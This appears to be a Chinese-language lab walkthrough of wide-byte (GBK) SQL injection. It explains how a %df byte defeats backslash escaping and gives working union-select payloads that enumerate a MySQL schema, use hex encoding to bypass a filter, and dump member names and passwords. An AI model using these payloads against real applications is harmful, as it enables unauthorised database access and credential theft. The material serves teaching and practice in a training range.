如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
背景:我们在进行SQL注入过程中,经常通过闭合单引号或者双引号来判断是否存在注入点并进行接下来的注入操作。而开发人员就对引号进行转义来防止攻击者进行SQL注入攻击,通常开发语言中的转义字符都是反斜杠“\”。
绕过原理:因为“\”的转义后的编码为%5c,可以联想到我们中国的汉字有偏旁部首可以拼成一个汉字,那么对于转义字符编码%5c是否也可以找到一个编码跟它凑成一个新的字符呢?答案是还真有。例如在GBK编码中%df%5c就是繁体字“連”,所以这是我们就可以成功的绕过magic_qutes_gpc()函数的转义。需要小伙伴们注意的是只有是中文编码的数据库才可以这样并且数据库的编码为GBK编码。
简单理解就是:用%df吃掉转义字符 \ %5c,就可以使得' 逃逸
测试注入点是否存在
?id=1%df%27
经过转义后,%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误
?id=1%df%5c%27
报错信息:单引号并没有被转义
之后的测试也是同理,对单引号或者双引号这样的特殊字符前面加上一个 %df 进行注入。
测试当前表的列数
?id=1%df' order by 5 %23
测试显位
?id=-1%df' union select 1,2,3,4,5 %23
拿数据库名字
?id=-1%df' union select 1,2,database(),4,5 %23
拿表名
?id=-1%df' union select 1,2,database(),4,group_concat(table_name) from information_schema.tables where table_schema=database() %23
拿列名
?id=-1%df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name='stormgroup_member' %23
尝试加上 %df 进行绕过,失败
发现原有的绕过方式解码后的汉字会影响sql语句的执行
经过大佬指点后,发现可以使用16进制转换来绕过过滤,编码后记得在前面加上 0x ,这表示是16进制。
对两张表分别拿列名
id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,(select group_concat(table_name) from information_schema.tables where table_schema =0x6d6f7a68655f64697363757a5f73746f726d67726f7570)--+
拿数据
id=-1%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+
靶场过关
宽字节注入的适用场景是特殊字符被 \ 转义的情况,使用面较窄。
还有为绕过思路打开了一扇大门:在绕过一些过滤的时候可以使用一些字符编码的方法。